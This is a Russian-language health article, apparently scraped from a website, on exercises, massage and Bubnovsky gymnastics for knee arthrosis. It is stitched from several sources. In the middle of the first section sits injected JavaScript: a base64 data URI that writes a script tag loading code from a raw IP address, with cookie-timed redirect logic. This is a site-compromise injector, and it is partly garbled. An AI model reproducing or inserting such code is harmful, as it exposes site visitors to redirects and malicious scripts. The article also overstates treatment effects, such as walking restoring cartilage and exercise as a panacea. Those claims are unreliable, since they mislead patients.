Гимнастика при артрозе коленного сустава 1-2-3 степени: видео

Лечить его нужно комплексно, с обязательным выполнением специальных физических упражнений.  Упражнения бубновского при артрозе коленных суставов, по мнению многих специалистов, являются самыми эффективными.

 Несколько дополнительных общих рекомендаций людям, страдающим артрозом коленного сустава

  1.  Даже на самых начальных моментах заболевания, кажущихся безобидными, не стоит чрезмерно нагружать колени.
  2. Крайне важна именно регулярность, а потому не стоит ждать результатов сию минуту.
  3. Любой комплекс упражнений стоит выполнять не меньше, чем три раза в сутки.
  4. В промежутках между процедурами ЛФК стоит отдыхать, при этом, ноги нужно держать прямыми, либо можно свешивать ноги с кровати и немного ими покачивать.
  5. Многие доктора советуют закрепить результат самостоятельным массажем коленного сустава. Достаточно несильно поглаживать колени и голени, слегка надавливая на них пальцами рук.
  6. В случае ограничения подвижности в области коленного сустава и боли, которая не отпускает в состоянии покоя, противопоказана физкультура стоя.

Таким образом, регулярные упражнения и самостоятельный массаж способны стать панацеей на начальном этапе развития артроза коленного сустава. Они не только помогут разработать колени и облегчить боль, но и отлично укрепят мышцы голени и бедер, а это не дает атрофироваться суставным мышцам. Кроме того, ходьба в чуть больших количествах, и вовсе является народным методом лечения данного недуга, нужно чаще совершать пешие прогулки. Это отлично нормализует кровообращение и даже восстанавливает хрящевую ткань в коленном суставе. Все эти нехитрые упражнения и увеличенные по времени прогулки, помогут избежать очень серьезных проблем. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Правила тренировок

Комплекс упражнений должен разрабатывать специалист с учетом индивидуальных особенностей человека и степени тяжести заболевания. Для того, чтобы заниматься гимнастикой для коленей, необходимо придерживаться определенных правил:

  1. придерживаться интервалов между интенсивными нагрузками и отдыхом;
  2. выполнять упражнения не больше 40 минут в день в три подхода по 10-15 минут;
  3. начинать с легких движений и постепенно переходить к более энергичным;
  4. повторять каждое упражнение несколько раз, но не меньше пяти;
  5. допускается выполнение упражнений без создания нагрузки на колено и во время отсутствия болевого эффекта;
  6. при выполнении гимнастики в положении стоя на коленях необходимо действовать аккуратно и осторожно, без ходьбы на коленях;
  7. после окончания гимнастики необходимо расслабится и дать организму отдохнуть.

Артроз и причины его развития

Артроз представляет собой заболевание, при котором деформируется суставы. В основном данное заболевание поражает коленный сустав. Артроз неизлечимое заболевание, однако, если держать его под контролем (постоянно делать физические упражнения и принимать лекарства), оно не будет доставлять проблем.

Факторами, способствующими к появлению и развитию данного заболевания, являются:

  1. Внешнее воздействие на суставы, которое повлияло на них (травмы, ушибы, растяжения, обморожение, операции). В таком случае именно это является спусковым механизмом. По такой причине заболевание может развиться даже у молодых людей, не имеющих ранее никаких проблем со здоровьем.
  2. Неправильное питание. Человеку каждый день необходимо насыщать свой организм, если этого не делать, он начнет слабеть (ослабнут кости и мышцы, работоспособность внутренних органов снизится и т.д.). Хрящевой ткани коленного сустава также необходимы микроэлементы, которые будут поддерживать ее функциональность. Неправильное питание приводит к ослаблению хрящевой ткани и ее разрушению, из-за чего и возникнет артроз.
  3. Ожирение тоже провоцирует возникновение артроза коленного сустава. Помимо этого, ожирение негативно сказывается на всем организме, работоспособность многих органов нарушается.
  4. Постоянный стресс, перенапряжение, тяжелая физическая и умственная работа. Психика человека напрямую связана с состоянием организма. Стресс и постоянное психическое напряжение негативно влияют на работу всех органов. Трудовое перенапряжение также сказывается на психике, делая человека нервным и слабым. Помимо этого при постоянной тяжелой работе, организм человека просто не успевает восстановиться и отдохнуть. Из-за чего ускоряется процесс разрушения клеток.
  5. Возраст. Все знают, что пожилые люди более подвержены различным заболеваниям Организм пожилых людей уже не может поддерживать прежний уровень жизнеобеспечения, и начинает стареть. В основном именно пожилые люди чаще страдают от заболевания коленного соединения.
Читайте также:  Гонартроз 3 степени коленного сустава операция

Причин для развития артроза коленного сустава множество, в некоторых случаях определение причины возникновения заболевания может потребоваться для назначения лечения.

Почему необходима физическая активность?

Остеоартроз, или, как его по-другому называют, гонартроз – нередкий спутник людей старше сорока. Предвестниками патологии бывают неприятные ощущения в коленях, скованность, ухудшение гибкости, трудности при подъеме в гору или по ступенькам.

Заболевание развивается постепенно – по мере того, как истончается хрящевая ткань и уменьшается количество синовиальной жидкости внутри чашечки колена. К сожалению, люди редко обращаются к врачу при первых признаках недомогания, но если вовремя принять необходимые меры, то патологический процесс обращается вспять.

Лечебная физкультура при артрозе коленного сустава – важная мера, направленная на восстановление подвижности и гибкости. Лекарства могут снимать боль и воспаление, способствовать выработке синовиальной жидкости и регенерации клеток хрящевой пазухи, однако без специально подобранной гимнастики все эти средства недостаточно эффективны.

Один из провоцирующих остеоартроз факторов – гиподинамия, недостаток движения либо ограниченность движений, например, при необходимости проводить день на ногах в одной позе.

Гимнастика позволяет разрабатывать хрящевую область и обеспечивать необходимый уровень нагрузки. На тематическом видео подробно рассказано, почему необходимы те или иные комплексы физкультуры.

Правила выполнения массажа

Для того чтобы занятия лечебной гимнастикой приносили пользу и доставляли пациенту удовольствие, необходимо соблюдать особые правила. Приступая к упражнениям, придерживайтесь следующих рекомендаций:

  1. Не увлекайтесь чрезмерными нагрузками, сохраняйте разумный баланс между напряжением и покоем. Каждые 5-6 часов давайте больному колену отдохнуть, тогда регенерация хрящевой ткани будет проходить успешно.
  2. Общая продолжительность занятий должна составлять 30-40 минут в день, с 10 минутными подходами 3-4 раза в день.
  3. Начинайте с медленных и плавных движений, постепенно увеличивая их амплитуду.
  4. Повторяйте каждое упражнение 4-6 раз.
  5. Движения должны быть мягкими, без сильного давления на больной сустав. Если почувствовали боль, отдохните, или перейдите к другому упражнению.
  6. Обязательно расслабляйтесь после 10 минутного занятия. Просто полежите на спине несколько минут.

Упражнения, которые выполняют на полу или на коврике, можно назвать щадящими. Они могут выполняться пациентами пожилого возраста без сильного напряжения. Кроме того, в лежачем положении отсутствует вертикальная нагрузка на коленный сустав. В комплекс входят следующие движения:

После разработки мышечных тканей бедра, приступают к массажу непосредственно пораженных коленных суставов. Процедура начинается с круговых поглаживаний с боков колен, после чего применяют растирание нескольких видов.

Комплекс массажа повторяется 3 раза, и каждый раз с меньшим количеством повторов приемов. В такой очередности массаж колен и бедер выполняют 3-4 раза, в зависимости от самочувствия больного. По завершению комплекса массажист осторожно сгибает и разгибает коленные суставы, проводит вращательные движения голенью.

  • Надевайте на занятия комфортную спортивную форму и кроссовки подходящего размера, имеющие твёрдую подошву и эластичную верхнюю часть.
  • Выполняя всякий комплекс упражнений делайте все неторопливо, без резких рывков, следя за ощущениями в суставе.
  • Перед тем как начать выполнять комплекс упражнений лечебной физкультуры расслабьте ногу, дабы сделать улучшить подачу крови для легкого выполнения процедуры.
  • Начните ЛФК курс с легких занятий, постепенно увеличивая повторы и вводя более сложные.
  • Каждодневная гимнастика при артрозе выполняется не менее получаса, при чем не за единственный подход, а поделив время так, чтобы уложиться в два или три подхода.
  • В промежутках посреди подходов требуется передышка в течении четырех или шести часов, в течении коих происходит восстановление хряща.
Читайте также:  Лучшие БАДы для восстановления хрящевой ткани суставов

В чем польза ЛФК

ЛФК занимает важное место наравне с медикаментозным лечением. Грамотно составленный комплекс упражнений и регулярное их выполнение предотвратит потерю двигательной функции и локальную атрофию мышц. Достижение оптимального лечебного эффекта с помощью ЛФК возможно при осторожном дозировании нагрузки во время занятий.

Чрезмерные усилия могут легко ухудшить состояние и спровоцировать переход болезни в острое состояние.

Дегенеративные процессы при артрозе постепенно разрушают хрящевую прослойку, которая одновременно выполняет защитную и амортизирующую функцию, защищая коленный сустав от перегрузок. Истончение хрящевой защиты вызывает боль при движении. Стараясь избежать болевых ощущений, человек щадит ногу и старается не выполнять движений больной конечностью.

Отсутствие движений отрицательно сказывается на связках и мышцах, вызывая слабость и атрофию. Целью проведения сеансов лечебной физкультуры является запуск процессов самовосстановления и увеличение амплитуды движений. После гиподинамии в период обострения артроза к первым занятиям рекомендуется приступать уже на четвертый день после снятия воспаления.

Регулярное выполнение назначенного комплекса укрепляет связки и восстанавливает силу мышц. Дозированные нагрузки улучшают питание суставных тканей за счет повышения качества доставки питательных веществ и кислорода с усилением кровотока.

Благоприятный прогноз при хроническом течении артроза коленного сустава зависит от соблюдения рекомендаций по двигательной активности и эффективной нагрузке. Первые занятия ЛФК проводят под наблюдением инструктора, который проследит за техникой выполнения движений. В последующем больной может применять приобретенные навыки в домашних условиях, строго соблюдая рекомендации врача.

Вечерние расслабляющие занятия

После тяжелого дня следует отдать предпочтение восстановительной гимнастике, которая расслабляет мышцы и суставы, снимает напряжение и стимулирует обменные процессы организма. Для этого наиболее подходящим вариантом являются комплексные занятия, проводимые в положении лежа:

  • Поочередное сгибание ног с подтягиванием пяток как можно ближе к ягодицам, не поднимая стоп с пола (по 2-10 раз);
  • Прижимание поясницы к полу и поднятие поочередно ног вверх. Для этого следует выпрямить ногу таким образом, чтобы она оказалась параллельно полу, после чего поднять ее вверх в прямом положении (от 5 до 15 раз);
  • Удерживание прямой конечности на протяжении некоторого времени (3-5 секунд) на нескольких сантиметрах от пола (от 2 до 20 повторов).

Хотите получить такое же лечение, спросите нас, как?

Вечерние расслабляющие занятия

Вконтакте Facebook Одноклассники Twitter Google+Также к прочтению:

  • Эффективное лечение деформирующего артроза коленного сустава
  • Остеоартроз коленного сустава легче всего победить на первой степени
  • Бурсит коленного сустава: симптомы и лечение
  • Способы лечения разрыва мениска коленного сустава
  • Эффективность ЛФК при артрозе коленного сустава под вопросом?

Упражнения для плечевого сустава

1. Опускайте и поднимайте плечи , одновременно и поочередно, выполняйте часто в течение дня.

2. Совершайте круговые движения плечевыми суставами . Несколько раз с опущенными руками, а затем – положив кисти рук на плечи. Вращать сустав вперед, потом назад, по 10-15 раз. Желательно несколько раз за день.

3. Всем знакомый «замок». В положении стоя, согните руки в локтях и сомкните за спиной, при этом одна рука уходит за спину через верх, другая – снизу. Чем хуже состояние суставов, тем сложнее совершить сцепление рук. Однако упражнение подразумевает именно стремление к сцеплению, позволяет растягиваться мышцам, тренирует сустав и считается очень эффективным. Так что выполняйте его по мере ваших сил.

Читайте также:  Аюрведа. Суть аюрведы. Здоровье и Любовь

Как видите, все упражнения элементарны, при этом полезность от них велика. Недаром ЛФК при артрозе назначается в обязательном порядке. Кстати, набор упражнений можно менять, комбинируя их с учётом воздействия на нужные суставы, чтобы избежать психологического привыкания – проще говоря, чтобы не надоели!

Важно выполнять упражнения на разгибание-сгибание суставов ежедневно и не бросать занятия при улучшении состояния.

Берегите свои суставы, дарите им движение и силы, заряжайте энергией – чтобы жить, суставы должны работать!

Источник статьи: _elamed/scadiascaia-gimnastika-dlia-sustavov-pri-artroze-5f4dd981a7b40a02c9d27087

Гимнастика Бубновского

Эта гимнастика для больных коленей показана к выполнению с целью восстановления суставов после травм, воспалительных процессов, уменьшения скованности суставов и терапии заболеваний на начальных стадиях. Первые тренировки нужно проводить под наблюдением тренера. Начинать ее нужно с разминки, а заканчивать массажем и растяжкой. Длительность тренировки допускается постепенно увеличивать, причем для первого раза достаточно 60 секунд. Упражнения следующие:

Гимнастика Бубновского
  1. Лечь на спину, ноги притянуть к животу, а затем попеременно разгибать и сгибать их.
  2. В том же положении вытянуть нижние конечности, а затем попеременно нужно сгибать ноги и поднимать стопу.
  3. Одновременно разгибать одну ногу и сгибать другую, находясь в положении лежа.
  4. Ногу прижать к груди, задержать ее, а затем разогнуть и расслабить. Повторить упражнение с другой ногой.
  5. Поднять ногу на высоту в 30 см, не сгибая колено, и удерживать ее в таком положении на протяжении 5-10 секунд.
  6. Упражнение “Велосипед” с постепенным увеличением ритма.
  7. Лечь на живот, согнуть ногу в колене и стараться достать ею до ягодиц. Повторить действие другой конечностью.
  8. Сесть на стул, после чего медленно поднять ногу параллельно полу и удерживать ее в таком положении в течение 5 секунд.
  9. Взяться за опору и попеременно поднимать ноги.
  10. Махи.

Механизм развития недуга

Гиалиновый хрящ имеет многослойную сложную структуру, позволяющую ему успешно выдерживать нагрузки, пи этом сохраняя эластичность. При гонартрозе наблюдается поражение хрящевых тканей, провоцирующее расслаивание хряща, его утончение и растрескивание.

При прогрессирующем гонартрозе ситуация развивается вплоть до полного исчезновения хряща и обнажения кости. Ответной реакцией кости становится ее уплотнение и появление остеофитов (костяных наростов), что провоцирует болевые ощущения даже при небольшой нагрузке на сустав.

Основным симптомом при гонартрозе является боль.

Естественно, болевые ощущения появляются не сразу. Вначале боль начинает ощущаться только после достаточно продолжительной нагрузки на ноги.

Она проходит, если дать колену отдохнуть. Помимо этого, в суставе начинают появляться похрустывания и потрескивания при любом движении.

При развивающемся гонартрозе боль усиливается и появляется чаще, нога начинает с затруднением сгибаться и разгибаться. Может развиться хромота.

Если не обращать внимания на начальные слабые признаки заболевания, то его прогрессирование не заставит себя ждать.

Уже при обнаружении начальных признаков артроза коленного сустава врачи советуют лечебную физкультуру. Лечение при гонартрозе является достаточно долгим процессом и требует настойчивости.

Очень важно, чтобы оно было регулярным и комплексным. Сложившиеся схемы лечения обычно состоят из медикаментозной терапии, физиотерапии, массажа и ЛФК, включающего в себя специально разработанные упражнения.

Все упражнения ЛФК в большей степени направлены на разработку пораженного сустава и улучшение его работоспособности.